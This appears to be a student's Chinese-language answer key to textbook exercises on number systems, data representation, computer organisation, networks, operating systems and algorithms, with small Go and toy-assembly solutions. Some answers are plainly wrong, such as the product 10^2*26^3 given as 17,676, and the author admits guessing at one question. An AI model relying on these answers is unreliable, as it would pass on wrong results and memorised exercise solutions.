&lt;li&gt;17；5；6。&lt;/li&gt;
&lt;li&gt;2；3；4。&lt;/li&gt;
&lt;li&gt;1/8+1/16；1/2+1/8+1/64；1/4+1/8+1/32；1/4+1/8。&lt;/li&gt;
&lt;li&gt;111.0011；1100.1010 01；1011.0110 1；0.011。&lt;/li&gt;
&lt;li&gt;$10^{10} - 1$；$2^{12} - 1$；$8^8 - 1$；$16^7 - 1$。&lt;/li&gt;
&lt;li&gt;3；5；2；3。&lt;/li&gt;
&lt;li&gt;14；8；13；4。&lt;/li&gt;
&lt;li&gt;300,556,814；238,611,000；1,846,425,678；406,326,539。&lt;/li&gt;
&lt;li&gt;00010001 11101010 00100010 00001110；00001110 00111000 11101010 00111000；01101110 00001110 00111000 01001110；00011000 00111000 00001101 00001011。&lt;/li&gt;
&lt;li&gt;15；27；48；1157。&lt;/li&gt;
&lt;li&gt;XVII；XXXVIII；LXXXII；CMXCIX。&lt;/li&gt;
&lt;li&gt;abc 都是错的。&lt;/li&gt;
&lt;li&gt;(12)；(6)(13)；(1)(2)(12)；(3)(2)(16)。括号表示单独一个数字。&lt;/li&gt;
&lt;li&gt;a. (38)(11)；(6)(46)；(59)(42)；b. 无法表示整数。用空格或占位符表示一个没有价值的地方，但仅在数字中间位置。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 3 章 数据存储&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;数字、文本、音频、图像、视频。&lt;/li&gt;
&lt;li&gt;位模式的长度表示了可表示符号数量的多少，即可能性。&lt;/li&gt;
&lt;li&gt;整个图像可以分为多个像素，而每个像素表示一种颜色，而一种颜色可以有多个不同的位来表示。&lt;/li&gt;
&lt;li&gt;矢量图重新调整图像大小不会失去信息；如果存储太精妙的、小的信息的话，会需要过多空间。&lt;/li&gt;
&lt;li&gt;采样、量化、编码。&lt;/li&gt;
&lt;li&gt;无符号：全部编码都用来表示 0 和正整数；符号加绝对值：保留一位来标识符号；二进制补码格式：保留一位来标识符号，但构造成适合处理加负数的形式。&lt;/li&gt;
&lt;li&gt;无符号：不能表示负整数；符号加绝对值：保留一位来标识符号；二进制补码格式：保留一位来标识符号，但构造成适合加负数的形式。&lt;/li&gt;
&lt;li&gt;无符号：全 0；符号加绝对值：有正 0 和负 0；二进制补码格式：全 0。&lt;/li&gt;
&lt;li&gt;标识符号。&lt;/li&gt;
&lt;li&gt;a. 提高信息密度来使用和存储；b. 小数点右边的位；c. 符号、指数和尾数。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$2^5 = 32$。&lt;/li&gt;
&lt;li&gt;$10^2 = 100$ 种；$9^2 = 81$ 种。&lt;/li&gt;
&lt;li&gt;$10^2 * 26^3 = 17,676$；$9^2 * 26^3 = 17,657$。&lt;/li&gt;
&lt;li&gt;$\log_2 8 = 3$。&lt;/li&gt;
&lt;li&gt;$\log_2 7 \approx 3$。&lt;/li&gt;
&lt;li&gt;10 位；$2^10 = 1024$；需要，因为 900+300=1200，大于 1024。&lt;/li&gt;
&lt;li&gt;$2^4 - 10 = 6$。&lt;/li&gt;
&lt;li&gt;$8000 * 256 = 2,048,000$，$\log_2 2,048,000 \approx 21$。&lt;/li&gt;
&lt;li&gt;0001 0111；0111 1001；0010 0010；0101 0110。不足填充 0，溢出丢掉左边。&lt;/li&gt;
&lt;li&gt;0000 0000 0010 1001；0000 0001 1001 1011；0000 0100 1101 0010；0000 0001 0101 0110。&lt;/li&gt;
&lt;li&gt;1111 0100；0110 1111；0111 0000；1000 1110。&lt;/li&gt;
&lt;li&gt;0000 0000 0110 0110；0111 1111 0100 1101；1111 1100 0001 0110；1111 0010 0110 1000。&lt;/li&gt;
&lt;li&gt;107；148；6；80。&lt;/li&gt;
&lt;li&gt;119；-4；116；-50。&lt;/li&gt;
&lt;li&gt;做一次补码运算。&lt;/li&gt;
&lt;li&gt;1000 1001；0000 0100；1000 1100；0011 0010。没问题，确实会得到原数。&lt;/li&gt;
&lt;li&gt;$2^0 * 1.1000 1$；$2^5 * 1.1111 11$；$2^0 * 1.0111 0011$；$2^0 * 1.0110 1000 0011 0011 000$。&lt;/li&gt;
&lt;li&gt;1111 1111 1000 1000；0100 0001 0111 1110；0111 1011 0111 0011；1111 1010 0110 1000。&lt;/li&gt;
&lt;li&gt;后面补 0 直到 64 位。1111 1111 1111 0001；0100 0000 0010 1111 11；0111 1111 0110 1110 011；1111 1111 0100 1101。&lt;/li&gt;
&lt;li&gt;0100 0000 1110 011；1100 0001 0100 1010 01；0100 0001 0011 0110 1；1111 1101。&lt;/li&gt;
&lt;li&gt;119；-124；116；-78。&lt;/li&gt;
&lt;li&gt;0011 0101；1110 1011；1000 0101；0100 1101 0（最左边位溢出）。&lt;/li&gt;
&lt;li&gt;0011 0101；1001 0100；1111 1010；1001 1010（溢出）。先补充够 8 位，再反码。0 的表示：10, 11, 00, 01 -&amp;gt; -1, -0, +0, +1。&lt;/li&gt;
&lt;li&gt;119；-3；116；49。最左边位为 1 时，表示负数，先取反。&lt;/li&gt;
&lt;li&gt;1000 1000；0000 0011；1000 1011；0011 0001。没问题，确实会得到原数。&lt;/li&gt;
&lt;li&gt;1000 1001；0000 0100；1000 1100；0011 0010。&lt;/li&gt;
&lt;li&gt;+499 到 +499；最左边位为 5-9 时，表示负数，0-4 时，表示正数；有；+0 用最小数表示，即全 0，-0 用最大数表示，即全 9。即：-499, -0, +0, +499 -&amp;gt; 500, 999, 000, 499。&lt;/li&gt;
&lt;li&gt;234；560；874；888。用 999 减去得到。&lt;/li&gt;
&lt;li&gt;-500 到 +499；最左边位为 5-9 时，表示负数，0-4 时，表示正数；不会；-500, -1, 0, +499 -&amp;gt; 500, 999, 000, 499。&lt;/li&gt;
&lt;li&gt;234；560；875；889。&lt;/li&gt;
&lt;li&gt;$-(16^n / 2 - 1)$ 到 $+(16^n / 2 - 1)$，即 -4095 到 +4095；正数不变，负数每位用 15 减去；会；+0 = 全 0，-0 = 全 15。&lt;/li&gt;
&lt;li&gt;B14；FE1；FE5；E1D。&lt;/li&gt;
&lt;li&gt;$-(16^n / 2)$ 到 $+(16^n / 2 - 1)$，即 -4096 到 +4095；反码后加 1；不会。&lt;/li&gt;
&lt;li&gt;B14；FE1；FE6；E1E。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 4 章 数据运算&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;算术运算涉及加减乘除；逻辑运算涉及与、或、非、异或。&lt;/li&gt;
&lt;li&gt;超出的丢弃。&lt;/li&gt;
&lt;li&gt;没理解题意，但搜出来的答案为：不可以，因为在 N 位分配单位中，最左边的数用来表示正负，当 N 等于 1 时不能表示任何数。其他答案：可以，这种情况下数据类型通常表示逻辑值。&lt;/li&gt;
&lt;li&gt;超出位的数量。&lt;/li&gt;
&lt;li&gt;增加较小的尾数，移位相应的尾数，直到两个数具有相同的指数。&lt;/li&gt;
&lt;li&gt;一元运算只有一个操作数，二元运算有两个。&lt;/li&gt;
&lt;li&gt;与、或、异或。&lt;/li&gt;
&lt;li&gt;真值表定义了每一种输入的输出值。&lt;/li&gt;
&lt;li&gt;取反。&lt;/li&gt;
&lt;li&gt;都 1 为 1，其它为 0。&lt;/li&gt;
&lt;li&gt;都 0 为 0，其它为 1。&lt;/li&gt;
&lt;li&gt;相同为 0，不同为 1。&lt;/li&gt;
&lt;li&gt;如果一个输入为 0，则不用检查对应位，就知道结果也是 0。&lt;/li&gt;
&lt;li&gt;如果一个输入为 1，则不用检查对应位，就知道结果也是 1。&lt;/li&gt;
&lt;li&gt;如果一个输入为 1，则不用检查对应位，就知道结果与另一个输入相反。&lt;/li&gt;
&lt;li&gt;置位（设置为 1）：OR；掩码设置为 1。&lt;/li&gt;
&lt;li&gt;复位（设置为 0）：AND；掩码设置为 0。&lt;/li&gt;
&lt;li&gt;反转：XOR；掩码设置为 1。&lt;/li&gt;
&lt;li&gt;逻辑移位不操作符号，算术移位根据原来的符号，来设置移位后的数的符号。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;十六进制表示：66；00；FF；FE。用 16 进制的最大位减去。&lt;/li&gt;
&lt;li&gt;十六进制表示：99；00；99；FF。&lt;/li&gt;
&lt;li&gt;十六进制表示：99；99；FF；FF。&lt;/li&gt;
&lt;li&gt;十六进制表示：66；FF；33；99。&lt;/li&gt;
&lt;li&gt;AND；0000 1111。&lt;/li&gt;
&lt;li&gt;OR；0000 1111。&lt;/li&gt;
&lt;li&gt;XOR；1100 0111。&lt;/li&gt;
&lt;li&gt;AND；0001 1100。&lt;/li&gt;
&lt;li&gt;右移 $\log_2 4 = 2$ 位。&lt;/li&gt;
&lt;li&gt;左移 $\log_2 8 = 3$ 位。&lt;/li&gt;
&lt;li&gt;从高位算起，假设为 0001 1000。1. 右移 3 位后，和 0000 0001 做 AND 运算；2. 再右移 1 位后，和 0000 0001 做 AND 运算。&lt;/li&gt;
&lt;li&gt;42；-4；4；-42。记得填充 0。&lt;/li&gt;
&lt;li&gt;1184；-862；862；-1184。&lt;/li&gt;
&lt;li&gt;a、c、d 都会溢出。&lt;/li&gt;
&lt;li&gt;能。超出 $-2^7$ 到 $+2^7 - 1$ 的，即 -128, 127 的为溢出。&lt;/li&gt;
&lt;li&gt;十六进制表示：F0AE；E0D6；7FEE；20AE。结果相同。&lt;/li&gt;
&lt;li&gt;42；-4；4；-42。转换成补码时，不涉及符号。&lt;/li&gt;
&lt;li&gt;57.875；438.375；32.75；-467.8748。在二进制中对齐尾数。&lt;/li&gt;
&lt;li&gt;b，如果能够存储正整数，那这个数肯定没溢出，再减小它的值就更不会溢出了，因为负整数本身也没溢出。&lt;/li&gt;
&lt;li&gt;取决于用反码还是补码存储，可能可以取到相反数。&lt;/li&gt;
&lt;li&gt;取决于用反码还是补码存储，可能可以取到相反数。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 5 章 计算机组成&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;CPU、主存和 IO。&lt;/li&gt;
&lt;li&gt;算术逻辑单元、控制单元和寄存器。&lt;/li&gt;
&lt;li&gt;算术、移位和逻辑运算。&lt;/li&gt;
&lt;li&gt;控制 CPU 其它部分的操作。&lt;/li&gt;
&lt;li&gt;存储数据。&lt;/li&gt;
&lt;li&gt;RAM：易失性；SRAM：速度快，昂贵；DRAM：速度慢，便宜；ROM：非易失性；PROM：可编程、只读；EPROM：可擦除、可编程、只读；EEPROM：电、可擦除、可编程、只读。&lt;/li&gt;
&lt;li&gt;提高运算的速度。&lt;/li&gt;
&lt;li&gt;控制器、读写头、磁盘。&lt;/li&gt;
&lt;li&gt;磁盘：由一张张磁片堆叠而成，每张磁片都被划分成磁道，每个磁道又分成扇区；磁带：在宽的一边分为 9 个磁道，又在长的一边把每个磁道划分为能存储 1 位信息。垂直来看，9 个点用来存储 8 位信息，另一位用来错误检测。&lt;/li&gt;
&lt;li&gt;CD-R：写一次，读多次；CD-RW：可重写；DVD：提高容量。&lt;/li&gt;
&lt;li&gt;SCSI：并行、需要终结器；火线：串行、无需终结器；USB：串行、交换、扩展性强。&lt;/li&gt;
&lt;li&gt;独立寻址：到 IO 设备读写的指令，不同于到内存读写的指令；存储器映射寻址：把 IO 设备控制器中的每个寄存器看做是内存中的一个字，所以指令相同。&lt;/li&gt;
&lt;li&gt;程序控制：CPU 等待 IO 设备；中断控制：CPU 告知 IO 设备要传输，IO 设备准备好后，中断 CPU；DMA：用于在高速 IO 设备之间传输数据，而无需 CPU。&lt;/li&gt;
&lt;li&gt;CISC：使用复杂指令集；RISC：使用简单指令集来模拟复杂指令。&lt;/li&gt;
&lt;li&gt;控制单元同时执行两个或三个阶段。&lt;/li&gt;
&lt;li&gt;拥有多个控制单元、多个算术逻辑单元和多个内存单元同时处理。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$64 MB = 2^{26}$，$\log_2 4 = 2$，$2^{26} - 2^2 = 2^{24}$，24 位。因为是对每个字寻址，所以字长越小，地址越多，需要的表示位数就越多。&lt;/li&gt;
&lt;li&gt;$24 * 80 * 1 = 1,920$。&lt;/li&gt;
&lt;li&gt;设每个字有 16 位。分别为指令、内存单元地址、寄存器，指令有 16 种，即 $\log_2 16 = 4$ 位，内存占 8 位，寄存器占 4 位，共 16 位。&lt;/li&gt;
&lt;li&gt;4 位。&lt;/li&gt;
&lt;li&gt;16 位。&lt;/li&gt;
&lt;li&gt;$\log_2 1024 = 10$ 位。&lt;/li&gt;
&lt;li&gt;16 位。&lt;/li&gt;
&lt;li&gt;10 位。&lt;/li&gt;
&lt;li&gt;$\log_2 16 = 4$。&lt;/li&gt;
&lt;li&gt;视指令有多少而定。&lt;/li&gt;
&lt;li&gt;$10 * 1000 / 4 = 2500$ 个。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;LOAD R0, M_FE
LOAD R1, M_FE
LOAD R2, M_FE
ADDI R3, R0, R1
ADDI R4, R2, R3
STORE M_FF, R4
HALT
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;LOAD R0, M_FE
INC R0
INC R0
INC R0
STORE M_FF, R0
HALT
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;LOAD R0, M_FE
DEC R0
DEC R0
STORE M_FF, R0
HALT
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;M_40: LOAD R0, M_FE
M_41: LOAD R1, M_FE
// R1 为全 0
ADDI R3, R1, R1
DEC R0
JUMP R1, M_41
STORE M_FF, R3
HALT
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;M_40: LOAD R0, M_FE
M_41: LOAD R1, M_FE
M_42: JUMP R2, M_45
M_43: INC R1
M_44: INC R1
M_45: DEC R1
STORE M_FF, R1
HALT
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第 6 章 计算机网络和因特网&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;保证每一个协议都可以进行两个对立且方向相反的工作。&lt;/li&gt;
&lt;li&gt;分段。&lt;/li&gt;
&lt;li&gt;消息；数据报；帧。&lt;/li&gt;
&lt;li&gt;b。&lt;/li&gt;
&lt;li&gt;c。&lt;/li&gt;
&lt;li&gt;b。&lt;/li&gt;
&lt;li&gt;名称（HTTP）；逻辑地址（IP）；链路层地址（MAC）。&lt;/li&gt;
&lt;li&gt;FTP 分为客户端和服务器，可能是服务器没启动。&lt;/li&gt;
&lt;li&gt;因为没有提供服务。&lt;/li&gt;
&lt;li&gt;UDP。&lt;/li&gt;
&lt;li&gt;分层原则；有利于替换。&lt;/li&gt;
&lt;li&gt;网络层：主机到主机；数据链路层：节点到节点。&lt;/li&gt;
&lt;li&gt;数字和模拟信号之间的互相转换；没看到。&lt;/li&gt;
&lt;li&gt;蓝牙是一个临时网络，规模较小。&lt;/li&gt;
&lt;li&gt;周期 = 1/频率。&lt;/li&gt;
&lt;li&gt;频率。&lt;/li&gt;
&lt;li&gt;是当我们没有专用通道时的唯一选择。&lt;/li&gt;
&lt;li&gt;物理层。&lt;/li&gt;
&lt;li&gt;导向介质；非导向介质。&lt;/li&gt;
&lt;li&gt;双绞线、同轴电缆、光纤电缆。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;发送、接收。&lt;/li&gt;
&lt;li&gt;加密、解密。&lt;/li&gt;
&lt;li&gt;$5 * (1 + 20%)^{10} = 30.96$ 亿台。&lt;/li&gt;
&lt;li&gt;5 * 10 + 100 = 150，100 / 150 = 0.67，该系统的效率只有原来的百分之 67。&lt;/li&gt;
&lt;li&gt;abc。&lt;/li&gt;
&lt;li&gt;abc。&lt;/li&gt;
&lt;li&gt;行李检查/认领；登机/出机；起飞/降落。&lt;/li&gt;
&lt;li&gt;物理层、数据链路层。&lt;/li&gt;
&lt;li&gt;位数越多，能表示的对象也越多。&lt;/li&gt;
&lt;li&gt;0110 1110 0000 1011 0000 0101 0101 1000；0000 1100 0100 1010 0001 0000 0001 0010；1100 1001 0001 1000 0010 1100 0010 0000。&lt;/li&gt;
&lt;li&gt;94.88.117.21；137.142.208.49；87.132.55.15。&lt;/li&gt;
&lt;li&gt;5A115518AA0F。&lt;/li&gt;
&lt;li&gt;10 / 1000 = 0.01s；8 / 1000 = 0.008s；100000 * 8 / 1000 = 800s。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 7 章 操作系统&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;应用程序使用操作系统提供的接口来操作计算机硬件。&lt;/li&gt;
&lt;li&gt;命令解释程序、存储管理、进程管理、设备管理、文件管理。&lt;/li&gt;
&lt;li&gt;单道程序：整个内存只装进一个程序；多道程序：内存装进多个程序，CPU 轮流服务。&lt;/li&gt;
&lt;li&gt;分区调度下，程序在内存中不必是连续地，也可以提前载入。&lt;/li&gt;
&lt;li&gt;不需要全部载入内存，也可以运行，更加灵活。&lt;/li&gt;
&lt;li&gt;每个作业都是程序，而程序未必是作业；每个进程都是作业，而作业未必是进程。进程是运行中的程序。&lt;/li&gt;
&lt;li&gt;磁盘；磁盘或内存；内存。&lt;/li&gt;
&lt;li&gt;作业调度器：从作业中创建进程和终止进程；进程调度器：将进程从一个状态转入另一个状态。&lt;/li&gt;
&lt;li&gt;使得进程管理器可以用多种策略从队列中选择下一个作业或进程。&lt;/li&gt;
&lt;li&gt;死锁：没有对资源进行限制；饿死：对资源有太多限制。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;64 - 4 = 60 MB。&lt;/li&gt;
&lt;li&gt;64 - 4 - 10 = 50 MB。&lt;/li&gt;
&lt;li&gt;70 / (10 + 70) = 87.5%。&lt;/li&gt;
&lt;li&gt;共 55 MB，60 - 55 = 5 MB，5 / 60 = 8%。&lt;/li&gt;
&lt;li&gt;共 40 MB，60 - 40 = 20 MB，20 / 60 = 33%。&lt;/li&gt;
&lt;li&gt;4；3；7；1；4 MB；4 / 60 = 6%。&lt;/li&gt;
&lt;li&gt;100 MB + 1 GB = 1100 MB，1100 / 10 = 110；100 / 10 = 10；100。&lt;/li&gt;
&lt;li&gt;运行；就绪；等待；等待；等待。&lt;/li&gt;
&lt;li&gt;是。&lt;/li&gt;
&lt;li&gt;不是，A 释放 File1 给 B，B 释放 File2 给 C。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第 8 章 算法&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;一组明确步骤的有序集合，它产生结果并在有限的时间内终止。&lt;/li&gt;
&lt;li&gt;顺序、判断、循环。&lt;/li&gt;
&lt;li&gt;UML 是算法的图形化表示。&lt;/li&gt;
&lt;li&gt;伪代码是算法类似英语的表示。&lt;/li&gt;
&lt;li&gt;根据数据值的大小进行排序。&lt;/li&gt;
&lt;li&gt;选择、冒泡、插入。&lt;/li&gt;
&lt;li&gt;在一组对象中找到目标位置的过程。&lt;/li&gt;
&lt;li&gt;顺序查找、二分查找。&lt;/li&gt;
&lt;li&gt;迭代：算法的定义不涉及算法本身。&lt;/li&gt;
&lt;li&gt;递归：算法的定义涉及算法本身。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;练习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;20, 22, 102, 183, 228, 229, 232, 313.&lt;/li&gt;
&lt;li&gt;2, 24, 192, 2112, 21120, 105600, 2112000.&lt;/li&gt;
&lt;li&gt;18, 18, 18, 20, 20, 32, 32.&lt;/li&gt;
&lt;li&gt;18, 3, 3, 3, 3, 1, 1.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;2, 7, 23, 31, 40, 56, 78, 9, 14.
2, 7, 23, 31, 40, 56, 78, 9, 14.
2, 7, 9, 31, 40, 56, 78, 23, 14.
...
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;14, 7, 23, 31, 40, 56, 78, 2, 9.
...
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;...
2, 7, 9, 23, 31, 40, 56, 78.
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;7, 8, 13, 23, 26, 44, 98, 57.&lt;/li&gt;
&lt;li&gt;7, 8, 14, 23, 26, 44, 57, 98.&lt;/li&gt;
&lt;li&gt;3, 7, 13, 26, 44, 23, 98, 57.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;first、mid 和 last 的值分别是：
1, 4, 8.
5, 6, 8.
7, 7, 8.
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;first、mid 和 last 的值分别是：
1, 3, 6.
1, 1, 2.
2, 2, 2.
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;4 != 11、21 != 11、36 != 11、14 != 11 等&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;first、mid 和 last 的值分别是：
1, 6, 12.
1, 3, 5.
4, 4, 5.
5, 5, 5.
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;1, 2, 6, 24, 120, 720.&lt;/li&gt;
&lt;li&gt;1, 2, 6, 24, 120, 720.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func gcd(x, y int) int {
	if y == 0 {
		return x
	}
	return gcd(y, x%y)
}

func Test_gcd(t *testing.T) {
	tests := []struct {
		x    int
		y    int
		want int
	}{
		{7, 41, 1},
		{12, 100, 4},
		{80, 4, 4},
		{17, 29, 1},
	}

	for i, tt := range tests {
		if got := gcd(tt.x, tt.y); got != tt.want {
			t.Errorf(&quot;%v. got %v, want %v&quot;, i, got, tt.want)
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;1；4；4；1。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func C(n, k int) int {
	if k == 0 || n == k {
		return 1
	}
	if n &amp;gt; k &amp;amp;&amp;amp; k &amp;gt; 0 {
		return C(n-1, k) + C(n-1, k-1)
	}
	// 其它场景，如：n &amp;lt; 0 || k &amp;lt; 0 || n &amp;lt; k
	// 不符合组合的定义，直接返回 -1
	return -1
}

func Test_C(t *testing.T) {
	tests := []struct {
		n    int
		k    int
		want int
	}{
		{10, 3, 120},
		{5, 5, 1},
		{2, 7, -1},
		{4, 3, 4},
	}

	for i, tt := range tests {
		if got := C(tt.n, tt.k); got != tt.want {
			t.Errorf(&quot;%v. got %v, want %v&quot;, i, got, tt.want)
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;120；1；错误，返回 -1；4&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func Fib(n int) int {
	if n == 0 {
		return 0
	}
	if n == 1 {
		return 1
	}
	return Fib(n-1) + Fib(n-2)
}

func Test_Fib(t *testing.T) {
	tests := []struct {
		n    int
		want int
	}{
		{2, 1},
		{3, 2},
		{4, 3},
		{5, 5},
	}

	for i, tt := range tests {
		if got := Fib(tt.n); got != tt.want {
			t.Errorf(&quot;%v. got %v, want %v&quot;, i, got, tt.want)
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;1；2；3；5。&lt;/li&gt;
&lt;li&gt;因为该算法的 UML 图比较简单，所以略过。&lt;/li&gt;
&lt;li&gt;因为该算法的 UML 图比较简单，所以略过。&lt;/li&gt;
&lt;li&gt;因为该算法的 UML 图比较简单，所以略过。&lt;/li&gt;
&lt;li&gt;因为该算法的 UML 图比较简单，所以略过。&lt;/li&gt;
&lt;li&gt;因为该算法的 UML 图比较简单，所以略过。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func sum(nums []int) int {
	result := 0
	for _, v := range nums {
		result += v
	}
	return result
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func product(nums []int) int {
	result := 1
	for _, v := range nums {
		result *= v
	}
	return result
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func SelectionSort(nums []int) {
	for i := 0; i &amp;lt; len(nums)-1; i++ {
		minIndex := i
		for j := i + 1; j &amp;lt; len(nums); j++ {
			if nums[j] &amp;lt; nums[minIndex] {
				minIndex = j
			}
		}
		nums[i], nums[minIndex] = nums[minIndex], nums[i]
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func SelectionSortWithMin(nums []int) {
	for i := 0; i &amp;lt; len(nums)-1; i++ {
		minIndex := min(nums, i)
		nums[i], nums[minIndex] = nums[minIndex], nums[i]
	}
}

func min(nums []int, startIndex int) int {
	minIndex := startIndex
	for j := startIndex + 1; j &amp;lt; len(nums); j++ {
		if nums[j] &amp;lt; nums[minIndex] {
			minIndex = j
		}
	}
	return minIndex
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func BubbleSort(nums []int) {
	for i := 0; i &amp;lt; len(nums)-1; i++ {
		changed := false
		for j := 0; j &amp;lt; len(nums)-i-1; j++ {
			if nums[j] &amp;gt; nums[j+1] {
				nums[j], nums[j+1] = nums[j+1], nums[j]
				changed = true
			}
		}
		if !changed {
			break
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;抽出上面的内循环即可。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func InsertionSort(nums []int) {
	for i := 1; i &amp;lt; len(nums); i++ {
		for j := i; j &amp;gt; 0; j-- {
			if nums[j-1] &amp;gt; nums[j] {
				nums[j-1], nums[j] = nums[j], nums[j-1]
			}
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;抽出上面的内循环即可。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func SequenceSearch(elements []int, key int) int {
	for i, v := range elements {
		if key == v {
			return i
		}
	}
	return -1
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func BinarySearch(elements []int, key int) int {
	lo := 0
	hi := len(elements) - 1
	for lo &amp;lt;= hi {
		mid := lo + (hi-lo)&amp;gt;&amp;gt;1
		if key &amp;gt; elements[mid] {
			lo = mid + 1
		} else if key &amp;lt; elements[mid] {
			hi = mid - 1
		} else if key == elements[mid] {
			return mid
		}
	}
	return lo
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;因为该算法的 UML 图比较简单，所以略过。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;func Pow(x float64, n int) float64 {
	if n &amp;lt; 0 {
		return 1.0 / pow(x, -n)
	}

	return pow(x, n)
}

func pow(x float64, n int) float64 {
	if x == 0 {
		return 0
	}

	if n == 0 {
		return 1
	}

	res := pow(x, n&amp;gt;&amp;gt;1)
	if n&amp;amp;1 == 0 {
		return res * res
	}

	return res * res * x
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第 9 章 程序设计语言&lt;/h2&gt;
&lt;p&gt;复习题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;汇编语言是机器语言的一种可读表示。&lt;/li&gt;
&lt;li&gt;高级语言和汇编语言一样，都需要转化为机器语言。&lt;/li&gt;
&lt;li&gt;机器语言。&lt;/li&gt;
&lt;li&gt;编译：编译器将整个源程序翻译成目标程序；解释：一行一行地解释源程序，并执行。&lt;/li&gt;
&lt;li&gt;词法分析、语法分析、语义分析、代码生成。&lt;/li&gt;
